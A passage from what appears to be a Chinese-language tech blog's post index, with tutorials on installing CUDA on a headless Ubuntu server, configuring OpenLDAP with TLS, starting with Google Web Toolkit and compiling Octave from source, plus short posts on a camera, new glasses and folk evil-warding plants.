的，因為作為伺服器會工作站機器通常都是擺在機房，沒必要裝 X Window 浪費資源，又增加安全性上的疑慮。\n但在沒有安裝 X Window 的 Linux 下，要安裝 CUDA 的話，安裝的步驟大致相同，但多了一個設定，這裡以 Ubuntu Linux Server 版為例，介紹如何在沒有 X Window 的情況下，安裝 NVIDIA CUDA。\n首先照一般的安裝方式先安裝 NVIDIA 官方的驅動程式，以 290.10 版本為例，就是將驅動程式下載下來，直接執行：\nsudo sh NVIDIA-Linux-x86_64-290.10.run 然後安裝 CUDA Toolkit 與 GPU Computing SDK：\nsudo sh cudatoolkit_4.0.17_linux_64_ubuntu10.10.run sh gpucomputingsdk_4.0.17_linux.run 以上的安裝方式都跟一般的情況相同。\n接下來就是重點了，在執行 CUDA 程式時，必須載入 CUDA 模組與建立 /dev 下面的硬體資訊，這個動作在啓動 X Window 時會自動處理，但是在沒有 X Window 的情況下，就要自己處理。這些動作可以使用一個 shell script 來處理，請建立一個 script 檔案，其內容如下：\n#!/bin/bash /sbin/modprobe nvidia if [ \u0026#34;$?\u0026#34; -eq 0 ]; then # Count the number of NVIDIA controllers found. N3D=`/usr/bin/lspci | grep -i NVIDIA | grep \u0026#34;3D controller\u0026#34; | wc -l` NVGA=`/usr/bin/lspci | grep -i NVIDIA | grep \u0026#34;VGA compatible controller\u0026#34; | wc -l` N=`expr $N3D + $NVGA - 1` for i in `seq 0 $N`; do mknod -m 666 /dev/nvidia$i c 195 $i; done mknod -m 666 /dev/nvidiactl c 195 255 else exit 1 fi 將這個檔案儲存在您認為適合的地方，筆者是直接將它儲存在 /usr/local/cuda/init_cuda.sh，跟 CUDA 的 Toolkit 放在一起，以後比較不會找不到。\n這個 script 每次重開機就要執行一次，所以放在 /etc/rc.local 中執行比較恰當，因此在 /etc/rc.local 中加入一行：\nsh /usr/local/cuda/init_cuda.sh 注意這一行要加在 exit 之前，所以 rc.local 看起來應該像這樣：\n#!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will \u0026#34;exit 0\u0026#34; on success or any other # value on error. # # In order to enable or disable this script just change the execution # bits. # # By default this script does nothing. # Init CUDA sh /usr/local/cuda/init_cuda.sh exit 0 這樣就大功告成，重新開機後，就可以開始使用 CUDA 了。\n","permalink":"https://blog.gtwang.org/linux/linux-install-nvidia-cuda-without-x-window/","summary":"\u003cp\u003eNVIDIA CUDA 技術是利用顯示卡的 GPU 進行高效能平行運算，通常有高階的顯示卡都會有安裝 X Window，但是若是專門用來計算的伺服器（server）就有可能不會安裝 X Window，像是 Ubuntu 的 Server 版本，預設就是不裝 X Window 的，因為作為伺服器會工作站機器通常都是擺在機房，沒必要裝 X Window 浪費資源，又增加安全性上的疑慮。\u003c/p\u003e","title":"在沒有 X Window 的環境安裝 NVIDIA CUDA"},{"content":"LDAP 是一個輕量級的名錄服務協定，常常用在帳號與密碼的統一管理。\n這裡介紹如何在 Ubuntu Linux 下安裝 LDAP Server，並且使用 LDAP 來管理使用者的帳號，這裡我們選擇在常見的 OpenLDAP 作為 LDAP Server。\n安裝 OpenLDAP 在 Ubuntu 下安裝 OpenLDAP 很簡單，只需要一行指令：\nsudo apt-get install slapd ldap-utils 這樣就裝好了，不過接下來的設定才是重點。\n設定 OpenLDAP 首先加入可能會用到的 schema 檔案：\nsudo ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/cosine.ldif sudo ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/nis.ldif sudo ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/inetorgperson.ldif 接著建立一個 backend.example.com.ldif 檔案，檔案內容如下：\n## Load dynamic backend modules dn: cn=module,cn=config objectClass: olcModuleList cn: module olcModulepath: /usr/lib/ldap olcModuleload: back_hdb.la ## Database settings dn: olcDatabase=hdb,cn=config objectClass: olcDatabaseConfig objectClass: olcHdbConfig olcDatabase: {1}hdb olcSuffix: dc=example,dc=com olcDbDirectory: /var/lib/ldap olcRootDN: cn=admin,dc=example,dc=com olcRootPW: {SSHA}WPhI83F/giL3b9mEk94lX5Ua1mMh7bJy olcDbConfig: set_cachesize 0 2097152 0 olcDbConfig: set_lk_max_objects 1500 olcDbConfig: set_lk_max_locks 1500 olcDbConfig: set_lk_max_lockers 1500 olcDbIndex: objectClass eq olcLastMod: TRUE olcDbCheckpoint: 512 30 olcAccess: to attrs=userPassword by dn=\u0026#34;cn=admin,dc=example,dc=com\u0026#34; write by anonymous auth by self write by * none olcAccess: to attrs=shadowLastChange by self write by * read olcAccess: to dn.base=\u0026#34;\u0026#34; by * read olcAccess: to * by dn=\u0026#34;cn=admin,dc=example,dc=com\u0026#34; write by * read 其中 olcRootPW: {SSHA}WPhI83F/giL3b9mEk94lX5Ua1mMh7bJy 是經過 SSHA 編碼後的管理者密碼，可以使用 slappasswd 來產生，例如：\nslappasswd -s my_password 請自行將這個部分替換成自己設定的密碼。另外 backend.example.com.ldif 中 類似 dc=example,dc=com 這種設定也都要記得換成自己的設定。\n接著加入這個 LDIF：\nsudo ldapadd -Y EXTERNAL -H ldapi:/// -f backend.example.com.ldif 這樣基本的 LDAP Server 就設定好了，接著就是要建立管理 Linux 帳號用的 LDAP Tree 了。\n使用 ldapscripts 管理帳號 ldap-utils 套件中雖然已經有一些 LDAP 的管理工具，但是要使用那些基本的工具來管理 LDAP，實在很麻煩，尤其是要編寫 LDIF 檔案與執行一大堆很長的指令，很不方便，若沒有特殊需求的話，可以使用 ldapscripts 來管理使用者帳號比較方便，這是一個專門用來管理 LDAP 中的使用者帳號的工具集。安裝也很簡單，一行搞定：\nsudo apt-get install ldapscripts 接著設定 ldapscripts，其設定檔是 /etc/ldapscripts/ldapscripts.conf，裡面其實都有寫好的範例與詳細的說明，只要把要用的設定注解拿掉就行了，基本上需要更動的地方大概也下面幾個：\nSERVER=localhost BINDDN=\u0026#39;cn=admin,dc=example,dc=com\u0026#39; BINDPWDFILE=\u0026#34;/etc/ldapscripts/ldapscripts.passwd\u0026#34; SUFFIX=\u0026#39;dc=example,dc=com\u0026#39; GSUFFIX=\u0026#39;ou=Groups\u0026#39; USUFFIX=\u0026#39;ou=People\u0026#39; MSUFFIX=\u0026#39;ou=Computers\u0026#39; GIDSTART=10000 UIDSTART=10000 MIDSTART=10000 這裡同樣要記得將 dc=example,dc=com 更改成自己的設定。另外新使用者的密碼設定方式，可以依照您的需求自行更改，筆者自己是喜歡用 pwgen 來產生亂數作為密碼（當然要先裝 pwgen），就加入：\nPASSWORDGEN=\u0026#34;pwgen\u0026#34; 這樣在新增使用者時，就會使用 pwgen 自動產生密碼，但是通常管理者要將設定好的密碼記下來並交給實際的使用者使用，如果要儲存心使用者的密碼，可以加入 RECORDPASSWORDS 參數，並設定將密碼存進 /var/log/ldapscripts_passwd.log：\nRECORDPASSWORDS=\u0026#34;yes\u0026#34; PASSWORDFILE=\u0026#34;/var/log/ldapscripts_passwd.log\u0026#34; 這樣在新增完使用者之後，就會自動將使用者的密碼存進這個 log 檔，而管理者就可以使用類似 Perl 等工具，將帳號密碼整理後交給使用者了，但是儲存密碼是比較危險的動作，所以自己要注意這個檔案的安全，最好在使用完後就刪除。\n設定完 ldapscripts.conf 後，再將 LDAP 管理者的密碼存入 /etc/ldapscripts/ldapscripts.passwd 檔案中（對應上面的 BINDPWDFILE），並且設定這個檔案只有 root 能夠讀取：\nsudo sh -c \u0026#34;echo -n \u0026#39;my_password\u0026#39; \u0026gt; /etc/ldapscripts/ldapscripts.passwd\u0026#34; sudo chmod 400 /etc/ldapscripts/ldapscripts.passwd 這樣 ldapscripts 就設定好了，接著使用 ldapinit 初始化 LDAP：\nsudo ldapinit 這個指令會建立一個最基本的 tree，用來存放帳號的相關資訊，接著就可以開始建立帳號了，首先要先建立一個群組：\nldapaddgroup mygroup 然後建立使用者帳號：\nldapadduser user01 mygroup 這樣就新的 user01 帳號就可以使用了，不過這是 LDAP Server 端的部分，若要讓 Linux 實際可以登入，還需要一些設定。\n設定 Linux 系統與 LDAP 認證 要讓 Linux 系統可以使用 LDAP 上面的帳號，還需要一些設定，首先安裝 libnss-ldap：\nsudo apt-get install libnss-ldap 在安裝的過程系統會詢問 LDAP 的設定，請依照您自己的設定填寫，若是不幸寫錯，可以再用下面的指令重新填寫：\nsudo dpkg-reconfigure ldap-auth-config 接著用 auth-client-config 設定 LDAP profile：\nsudo auth-client-config -t nss -p lac_ldap 最後更新系統 PAM 認證方式：\nsudo pam-auth-update 基本上，這樣就可以使用剛剛加入的新帳號登入了。\nTLS 與 SSL 與 LDAP Server 連線進行認證時，會傳送帳號與密碼等相關機密資訊，若是有經過外部網路傳送，最好使用加密的連線。這裡介紹如何設定加密的 LDAP 連線。\n首先安裝 gnutls-bin 套件：\nsudo apt-get install gnutls-bin 建立 private key：\nsudo sh -c \u0026#34;certtool --generate-privkey \u0026gt; /etc/ssl/private/cakey.pem\u0026#34; 建立 /etc/ssl/ca.info 檔案，內容如下：\ncn = Example Company ca cert_signing_key 記得將 Example Company 修改成自己的名稱。\n建立 self-signed CA certificate：\nsudo certtool --generate-self-signed --load-privkey /etc/ssl/private/cakey.pem --template /etc/ssl/ca.info --outfile /etc/ssl/certs/cacert.pem 產生 Server 的 private key：\nsudo sh -c \u0026#34;certtool --generate-privkey \u0026gt; /etc/ssl/private/ldap01_slapd_key.pem\u0026#34; 建立 /etc/ssl/ldap01.info 檔案，內容如下：\norganization = Example Company cn = ldap01.example.com tls_www_server encryption_key signing_key 建立 Server 的 certificate：\nsudo certtool --generate-certificate --load-privkey /etc/ssl/private/ldap01_slapd_key.pem --load-ca-certificate /etc/ssl/certs/cacert.pem --load-ca-privkey /etc/ssl/private/cakey.pem --template /etc/ssl/ldap01.info --outfile /etc/ssl/certs/ldap01_slapd_cert.pem 最後更改 LDAP Server 的設定，執行：\nsudo ldapmodify -Y EXTERNAL -H ldapi:/// 這時候就可以使用指令更動 LDAP Server 的設定，將下面的內容貼上去：\ndn: cn=config add: olcTLSCACertificateFile olcTLSCACertificateFile: /etc/ssl/certs/cacert.pem - add: olcTLSCertificateFile olcTLSCertificateFile: /etc/ssl/certs/ldap01_slapd_cert.pem - add: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/ssl/private/ldap01_slapd_key.pem 然後最後按下 Ctrl-D 離開，畫面看起來應該像這樣：\nroot@host # sudo ldapmodify -Y EXTERNAL -H ldapi:/// SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 dn: cn=config add: olcTLSCACertificateFile olcTLSCACertificateFile: /etc/ssl/certs/cacert.pem -- add: olcTLSCertificateFile olcTLSCertificateFile: /etc/ssl/certs/ldap01_slapd_cert.pem -- add: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/ssl/private/ldap01_slapd_key.pem modifying entry \"cn=config\" root@host # 修改 /etc/default/slapd 中的 SLAPD_SERVICES，讓 LDAP Server 啟用加密的模式：\nSLAPD_SERVICES=\u0026#34;ldap://127.0.0.1:389/ ldaps:/// ldapi:///\u0026#34; 將 openldap 這個使用者加入 ssl-cert 群組，並設定好金鑰的權限：\nsudo adduser openldap ssl-cert sudo chgrp ssl-cert /etc/ssl/private/ldap01_slapd_key.pem sudo chmod g+r /etc/ssl/private/ldap01_slapd_key.pem 最後重新啓動 OpenLDAP：\nservice slapd restart 這樣就完成了，現在就可以使用加密的 ldaps 連線了。\n為了使 LDAP Client 可以正確抓到 cert，必須修改 LDAP Client 機器上的 /etc/ldap/ldap.conf，加入一行：\nTLS_CACERT /etc/ssl/certs/cacert.pem 然後把剛剛在 LDAP Server 上建立的 /etc/ssl/certs/cacert.pem 複製一份到 LDAP Client 上面的這個位置，這樣就可以讓 LDAP Client 正常運作了。\n","permalink":"https://blog.gtwang.org/linux/ubuntu-ldap-server/","summary":"\u003cp\u003eLDAP 是一個輕量級的名錄服務協定，常常用在帳號與密碼的統一管理。\u003c/p\u003e\n\u003cp\u003e這裡介紹如何在 Ubuntu Linux 下安裝 LDAP Server，並且使用 LDAP 來管理使用者的帳號，這裡我們選擇在常見的 OpenLDAP 作為 LDAP Server。\u003c/p\u003e","title":"Ubuntu Linux 安裝 LDAP Server"},{"content":"Google Web Toolkit(GWT) 是 Google 所發展的一套網頁應用程式開發工具，他可以讓開發者使用 Java 語言開發網頁上的應用程式，編譯時會將 Java 程式碼轉換為 JavaScript，使撰寫網頁就像撰寫一般的 Java 應用程式一樣，開發者不需考慮個平台與瀏覽器之間的差異，只要維護一份 Java 程式碼，剩下的 GWT 編譯器會自動將 Java 程式碼轉換為各種平台與瀏覽器所適用的 JavaScript 程式與網頁，這樣在開發與維護上都佔有很大的優勢。\n另外 GWT 也支援 Eclipse，透過 Eclipse 的 Plugin，開發者可以非常快速的使用已經熟悉的 Java 開發環境來開發網頁應用程式。這以介紹如何安裝 Eclipse 與 GWT 開發環境。\n安裝 Eclipse 首先安裝 Eclipse，直接到 Eclipse 官方網站下載後解壓縮即可使用，裡面有好多版本，筆者這裡以 Eclipse Classic 3.6.1 做為示範。\n接下來安裝 Eclipse 的 GWT Plugin，在 Help \u0026gt; Install New Software 中加入下面這個 Repository：\nhttp://dl.google.com/eclipse/plugin/3.6 若您所使用的 Eclipse 不是 3.6，請依照您所使用的版本修改此路徑。畫面看起來就像這樣\n然後選擇要安裝的 Plugin，建議全部裝上去：\n裝好之後就可以開始寫 GWT 網頁程式了。\n第一個 GWT 程式 要建立一個 GWT 網頁應用程式，首先點選 File \u0026gt; New \u0026gt; Web Application Project 建立一個 Project，點選後會出現一個視窗，請將該填的東西填上去：\n若您有安裝 Google App Engine SDK 可以把 Use Google App Engine 的選項打勾，這樣可以自動透過 Eclipse 將寫好的網頁上傳至 Google App Engine，不過您必須先申請好 Google App Engine 的帳號與空間。\n這樣就建立好了，在左邊的 Package Explorer 中以滑鼠右鍵點選您剛剛所建立的 Project，選 Debug As \u0026gt; Web Application，這會建立一個 Web Application 的啟動設定，此設定會啟動一個本機的網頁伺服器與 GWT development mode 伺服器，隨後在下方的 Development Mode 視窗會出現一個網址，將網址點兩下就會開啟瀏覽器(或是將網址複製並貼在您的瀏覽器上)：\n若您是第一次使用瀏覽器開啟 Development Mode Server 的網頁，會出現要您安裝 Google Web Toolkit Developer Plugin 的畫面，就按照畫面指示安裝就可以了。\n安裝完成後就會出現網頁應用程式的內容了：\n此程式的內容都放在 src 資料夾中，其中會看見 com.mycompany.testapp.client 與 com.mycompany.testapp.server 兩個 Package，client 的部分會被轉成 JavaScript 在 Client 端執行，而 server 的部分則是轉成 bytecode 在 Server 端執行。\n請看 Testapp.java 中的第 42 行左右，有一個設定按鈕名稱的程式碼：\nfinal Button sendButton = new Button(\u0026#34;Send\u0026#34;); 將其改成\nfinal Button sendButton = new Button(\u0026#34;Send to Server\u0026#34;); 存檔後，在瀏覽器上按下重新整理(或 F5 鍵)，即可看到更新的結果。\n這時候您可以在 Eclipse 中設定中斷點除錯，就像開發一般 Java 程式一樣。\n編譯與發佈 若您程式已經開發完成，可以右鍵點選 Project 選擇 Google \u0026gt; GWT Compile，這樣會將所有的程式編譯好放在專案的 war 資料夾中，您可以直接開啟 war 中的網頁觀看結果。\n發佈至 Google App Engine 若您有安裝並啟用 Google App Engine 功能，您可以使用這個功能很方便快速的將您的網頁應用程式上傳至 Google App Engine 中。\n首先將 Google App Engine 功能啟用，右鍵點選您的專案後選 Google \u0026gt; App Engine Settings，勾選 Use Google App Engine，並填入您 Google App Engine 的 Application ID(Application ID 要先去 App Engine 的網站申請)，填完之後按下 OK。\n設定完成後，右鍵點選您的專案後選 Google \u0026gt; Deploy to App Engine，並輸入您的帳號與密碼，按下 Deploy 之後就會將您的程式上傳至 Google App Engine 了。\n","permalink":"https://blog.gtwang.org/programming/google-web-toolkit/","summary":"\u003cp\u003e\u003ca href=\"https://www.gwtproject.org/\"\u003eGoogle Web Toolkit(GWT)\u003c/a\u003e 是 Google 所發展的一套網頁應用程式開發工具，他可以讓開發者使用 Java 語言開發網頁上的應用程式，編譯時會將 Java 程式碼轉換為 JavaScript，使撰寫網頁就像撰寫一般的 Java 應用程式一樣，開發者不需考慮個平台與瀏覽器之間的差異，只要維護一份 Java 程式碼，剩下的 GWT 編譯器會自動將 Java 程式碼轉換為各種平台與瀏覽器所適用的 JavaScript 程式與網頁，這樣在開發與維護上都佔有很大的優勢。\u003c/p\u003e","title":"Google Web Toolkit（GWT）：用 Java 寫網頁"},{"content":"這篇教學介紹如何使用 Eclipse 與 Google Web Tookit(GWT) 撰寫第一個程式 StockWatcher，若您不知道 什麼是 GWT，請先閱讀 Google Web Toolkit(GWT)：用 Java 寫網頁。\n讀完本篇將會學到如何使用以下 GWT 所提供的功能：\n使用您的 Java 開發環境以 Java 語言撰寫網頁應用程式。 使用 GWT 除錯模式，替您開發的網頁應用程式偵錯。 交叉編譯您的 Java 程式碼，將其轉換成最佳化的 JavaScript 程式。 維護單一的 Java 程式碼，產生多種平台與瀏覽器之 JavaScript 程式。 建立 StockWatcher 程式 我們以 Eclipse 加上 GWT Plugin 為示範環境，若您沒有安裝此環境，請先參考 Google Web Toolkit。\n首先開啟 Eclipse 點選 New Web Application Project 圖示建立一個網頁應用程式。 填上 Project 相關的資料(如下圖)： 填入 project name：\u0026ldquo;StockWatcher\u0026rdquo; 填入 package：\u0026ldquo;com.google.gwt.sample.stockwatcher\u0026rdquo; Use Google Web Toolkit 打勾，並選取 Use default SDK (GWT) Use Google App Engine 打勾，並選取 Use default SDK (App Engine) 按下 Finish 專案內容 Eclipse 自動產生了一個專案，接下來我們來看此專案中的檔案：\n模組 XML 檔 src/com.google.gwt.sample.stockwatcher 中的 StockWatcher.gwt.xml 是 GWT 模組的定義檔，StockWatcher 預設會繼承 GWT 核心的類別，您也可以自行加入要繼承的類別。\n此 XML 檔案中亦定義了 entry point class，GWT 模組中一定至少要有一個 entry point，若沒有 entry point 的話也可以從其他的類別繼承而來，若有兩個以上的 entry point，在執行時所有的 entry point 會依序執行。\n預設上會有兩個 CSS 檔，一個是標準的 standard.css，另一個是 StockWatcher.css，隨後的教學中會說明如何更改預設的 CSS 樣式。\nThe Host Page 網應應用程式都是在 HTML 的網頁中執行的，在 GWT 中將這張網頁稱作 host page，在瀏覽器開啟 host page 之後，會載入相關的 css 與 javascript 並執行，產生動態的網頁效果。\n這個專案的 host page 是 war 中的 StockWatcher.html。\n瀏覽器的歷史紀錄是一般使用者常用的功能，GWT 中提供了 iframe 的架構保留歷史紀錄的功能，讓使用者可以使用瀏覽器「上一頁」的功能。\nJava 原始碼 src/com.google.gwt.sample.stockwatcher.client 中的 StockWatcher.java 是 client 所執行的程式碼，這篇教學中會說明如何撰寫其中的程式。\n因為在模組 XML 檔將 StockWatcher 類別指定為 entry point 類別，因此 StockWatcher 類別實做了 EntryPoint 介面，其擁有 onModuleLoad 方法，當 StockWatcher 被載入時就會自動呼叫 onModuleLoad 方法。\nStockWatcher 繼承了 GWT 核心的類別，因此在建立使用者介面時就可以直接使用 com.google.gwt.user.client.ui 中的功能，因為他是 com.google.gwt.user.User 的一部分(請參考 StockWatcher.gwt.xml 中的設定)。\n設計應用程式 到這裡我們已經將專案建立好了，接下來可以開始設計應用程式的功能與使用者介面。首先我們希望 StockWatcher 可以做到下面這些事情：\n讓使用者增加 stock，並可以檢查輸入的資料是否正確、有無重複。 顯示下列 stock 資訊：名稱(symbol), 價格(price), 與上次更新之差異(change)。 讓使用者刪除 stock。 更新 stock 價格。 計算從上一次更新到現在的差異，分別以數字與百分比表示。 顯示更新時間。 接下來規畫使用者介面：\n圖中這些原件都是基本的 HTML 元件，不再贅述。\n加入靜態元件 GWT 中沒有限制要如何安排 HTML 的排版，一個 GWT 網頁應用程式可以使用整個瀏覽器或是內嵌至其他網頁中。\nGWT 網頁包含動態與靜態的元件，靜態的元件像是網頁上方的圖案與大標題是寫在 host page 中的，其餘的動態原件則是寫在 GWT 的程式碼中。\n繼續閱讀：StockWatcher：Google Web Toolkit(GWT) 入門 (二)\n","permalink":"https://blog.gtwang.org/programming/stockwatcher-gwt-tutorial-1/","summary":"\u003cp\u003e這篇教學介紹如何使用 Eclipse 與 Google Web Tookit(GWT) 撰寫第一個程式 StockWatcher，若您不知道 什麼是 GWT，請先閱讀 \u003ca href=\"/programming/google-web-toolkit/\"\u003eGoogle Web Toolkit(GWT)：用 Java 寫網頁\u003c/a\u003e。\u003c/p\u003e","title":"StockWatcher：Google Web Toolkit(GWT) 入門 (一)"},{"content":"以前有買一台單眼相機，雖然拍出來的照片沒話說，但是相機實在是太大台了，出去玩還要背一台那麼笨種的相機，也沒什麼興致拍了，一直想買一台便宜的名片型相機，方便攜帶。最近上 PCHome 看到這款相機特價，三千有找，就給他買了，順便貼些照片上來。\n看完了相機的長相，最重要的就是看拍出來的照片了，已這種價位來說，我覺得這樣可以接受了。\n","permalink":"https://blog.gtwang.org/unboxing/olympus-fe-5030/","summary":"\u003cp\u003e以前有買一台單眼相機，雖然拍出來的照片沒話說，但是相機實在是太大台了，出去玩還要背一台那麼笨種的相機，也沒什麼興致拍了，一直想買一台便宜的名片型相機，方便攜帶。最近上 PCHome 看到這款相機特價，三千有找，就給他買了，順便貼些照片上來。\u003c/p\u003e","title":"Olympus FE-5030 相機開箱照片"},{"content":"這裡介紹幾種常用的避邪植物，不管是去醫院探病、參加喪禮或出外掃墓等場合，都可以用來避邪。\n榕樹葉 若要參加喪禮、至醫院探病或到野外掃墓時，可事先摘三片（或七片）榕樹葉帶在身上，選葉子時要挑比較漂亮的，不要有破損、或是枯掉的葉子，也不要挑剛發芽的嫩葉，最好是顏色比較深、時常曬的到太陽的葉子，事情辦完之後，在回程途中把它丟掉，通常只要離開辦事的地方一小段距離，眼睛已經看不到現場時就可以丟了，盡量丟在人不會踩到的地方（如草叢等），而在丟葉子時注意不要講話，若這時候有人剛好在叫你的名字，也不可以答應或回頭。\n芙蓉葉 芙蓉葉的用法與榕樹葉類似，一次摘一朵放在身上，回程時丟掉。\n許多人都會在家門口種植芙蓉避邪，像這樣的芙蓉盆栽在一般的園藝店就有在賣，我在新營的園藝店買這樣一盆芙蓉只要 100 元（2016 年 6 月）。\n抹草（茉草） 抹草（茉草）是很常被使用的避邪植物，曬乾後較容易保存，參加喪禮完回來、嬰兒受驚嚇時都可使用，要使用時就拿來煮水擦拭身體，而使用過的抹草水要倒在外面的水溝給它流走，不要倒在家裡。\n在台灣不同的民族所慣用的抹草也不同，以下是幾種常見的抹草。\n銳葉小槐花（俗稱抹草、茉草） 銳葉小槐花是閩南人習慣使用的抹草，端午節也有人會摘艾草與銳葉小槐花的葉片懸掛在住家門口避邪。\n魚針草（俗稱抹草、茉草） 魚針草是客家人習慣使用的抹草，通常如果是外出辦事的話，都會在自己家門口事先準備好抹草水，回來的時候先洗過再進屋，比較不會把不好的東西帶進家中。\n除了以上這些植物之外，有些人也會使用艾草來避邪，或是使用艾草香皂也很方便。\n","permalink":"https://blog.gtwang.org/life/some-exorcism-plants/","summary":"\u003cp\u003e這裡介紹幾種常用的避邪植物，不管是去醫院探病、參加喪禮或出外掃墓等場合，都可以用來避邪。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"榕樹葉\"\u003e榕樹葉\u003c/h2\u003e\n\u003cp\u003e若要參加喪禮、至醫院探病或到野外掃墓時，可事先摘三片（或七片）榕樹葉帶在身上，選葉子時要挑比較漂亮的，不要有破損、或是枯掉的葉子，也不要挑剛發芽的嫩葉，最好是顏色比較深、時常曬的到太陽的葉子，事情辦完之後，在回程途中把它丟掉，通常只要離開辦事的地方一小段距離，眼睛已經看不到現場時就可以丟了，盡量丟在人不會踩到的地方（如草叢等），而在丟葉子時注意不要講話，若這時候有人剛好在叫你的名字，也不可以答應或回頭。\u003c/p\u003e","title":"各種避邪植物：抹草（茉草）、榕樹葉、芙蓉葉"},{"content":"最近因為舊的眼鏡已經用了三、四年了，鏡片刮傷很嚴重，就去配了一副新眼鏡，上網查了一下新竹的眼鏡行，看來看去只有食品路的光慧眼鏡比較沒有負面評價，網路上對這家的映像都還不錯，只是可能鏡架的選擇性沒有其他加那麼多，但是我不是很在意鏡架的設計，只在意他的品質好不好。\n因為上一副眼鏡實在刮的太厲害了，這一次打算來配一副玻璃的鏡片，而玻璃鏡片最好廠牌大概就是蔡司（Zeiss）這家公司的，因為我的度數也不是很深（兩三百度而已），就配了最基本的蔡司雅薄白色鏡片。\n然後鏡架的部份，因為玻璃的鏡片比較重，所以就選了一個 Carlsson 全鈦的鏡架，原本想選更細的鏡架，但是老闆說這已經是最細的了，看了看感覺重量很輕，設計也不錯，就這樣訂了。\n起先擔心玻璃的鏡片會比樹脂鏡片（也就是安全鏡片）重，但是後來感覺其實還好，雖然真的比較重一點，但可能是因為度數不深，再加上全鈦的鏡架，戴起來感覺不會很重，還好！\n因為是配蔡司的鏡片，老闆會幫你把鏡片的保證卡寄回公司登記保固，然後把贈品寄回來。\n最後補上一張從蔡司寄回來的贈品，其實就是一張眼鏡布，不過上面有印上 Zeiss 的標記，感覺好像很高級的樣子！ 😀\n","permalink":"https://blog.gtwang.org/unboxing/zeiss-carlsson/","summary":"\u003cp\u003e最近因為舊的眼鏡已經用了三、四年了，鏡片刮傷很嚴重，就去配了一副新眼鏡，上網查了一下新竹的眼鏡行，看來看去只有食品路的光慧眼鏡比較沒有負面評價，網路上對這家的映像都還不錯，只是可能鏡架的選擇性沒有其他加那麼多，但是我不是很在意鏡架的設計，只在意他的品質好不好。\u003c/p\u003e","title":"新眼鏡：蔡司（Zeiss）雅薄白色鏡片＋Carlsson 全鈦鏡架"},{"content":"在 Ubuntu Linux 中目前若要使用 apt 來裝 Octave 的話，只需要執行一行指令就裝完了：\nsudo apt-get install octave3.2 雖然方便，但只能裝 3.2 版的，若要安裝最新版的 Octave 就要下載原始碼自行編譯後安裝，還好編譯 Octave 還蠻簡單的，以下示範從 Octave 原始碼編譯安裝的步驟。\n首先下載 Octave 最新的原始碼（筆者撰寫這篇文章時 Octave 的最新版是 3.4.2）：\nwget ftp://ftp.gnu.org/gnu/octave/octave-3.4.2.tar.bz2 然後解壓縮：\ntar jxvf octave-3.4.2.tar.bz2 進到 Octave 原始碼目錄準備編譯：\ncd octave-3.4.2 首先執行 configure 設定編譯環境，這個指令有許多選項可以使用，執行前可以先看一下他有哪些參數可用：\n./configure --help 這裡我們只指定安裝的路徑，其實的參數就不更動：\n./configure --prefix=/usr/local/octave-3.4.2 若是沒有錯誤產生，就可以開始編譯了，而若是有錯誤通常就是少了一些編譯需要的東西，那就看看少了什麼，用 apt 去裝，裝完再執行一次 configure，例如沒有 Fortran Compiler 的話，就裝 gfortran：\nsudo apt-get install gfortran 若是少了 PCRE Library 就裝 libpcre3-dev：\nsudo apt-get install libpcre3-dev 若是搞不清楚要裝什麼套件，就用 apt-cache 去找一找，例如要找 PCRE Library：\napt-cache search pcre 通常 Library 的套件名稱都是 lib 開頭的，所以若是確定是 Library 可以這樣找比較快：\napt-cache search libpcre 因為是編譯需要的，所以通常都是選有 dev 結尾的，原則上就是這樣，反正就是重複這個動作，直到把所有缺的東西補齊為止。筆者自己測試時，除了上面的 gfortran 與 libpcre3-dev 之外，也裝了底下幾個：\nsudo apt-get install libblas-dev liblapack-dev libreadline6-dev libglpk-dev gperf libqhull-dev libhdf5-serial-dev libgraphicsmagick++1-dev libcurl4-openssl-dev libsuitesparse-dev libqrupdate-dev bison flex libglu1-mesa-dev libfontconfig1-dev libfltk1.1-dev configure 沒問題之後，就可以開始編譯（這是最花時間的步驟，可以喝杯咖啡再回來）：\nmake 編譯完成後，就可以安裝了：\nmake install 這樣就大功告成啦。\n","permalink":"https://blog.gtwang.org/linux/ubuntu-compile-and-install-octave/","summary":"\u003cp\u003e在 Ubuntu Linux 中目前若要使用 apt 來裝 Octave 的話，只需要執行一行指令就裝完了：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo apt-get install octave3.2\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e雖然方便，但只能裝 3.2 版的，若要安裝最新版的 Octave 就要下載原始碼自行編譯後安裝，還好編譯 Octave 還蠻簡單的，以下示範從 Octave 原始碼編譯安裝的步驟。\u003c/p\u003e","title":"Ubuntu 安裝最新版的 Octave（從原始碼編譯安裝）"},{"content":"CoffeeScript 是一種程式語言，他的程式碼可以編譯成 JavaScript，其語言主要的目的在於讓程式撰寫者可以使用更簡單的方式撰寫 JavaScript。\nCoffeeScript 的原則是：「它就是 JavaScript！」，也就是說每一段 CoffeeScript 程式碼都會被編譯成對應的 JavaScript 程式碼，所有的程式在執行時都已經被轉換為 JavaScript 了，不需要在執行時多花費 interpretation 的時間，並且 CoffeeScript 亦可以與現有的 JavaScript 函式庫緊密的結合。另外，其編譯出的程式碼也會自動排版，方便閱讀，而且其程式碼的執行效率通常也比直接撰寫的 JavaScript 高。\n在 Ubuntu Linux 下要安裝 CoffeeScript 可以使用 apt：\nsudo apt-get install coffeescript 裝好之後就可以開始使用了，CoffeeScript 的編譯器就叫做 coffee，他會將 .coffee 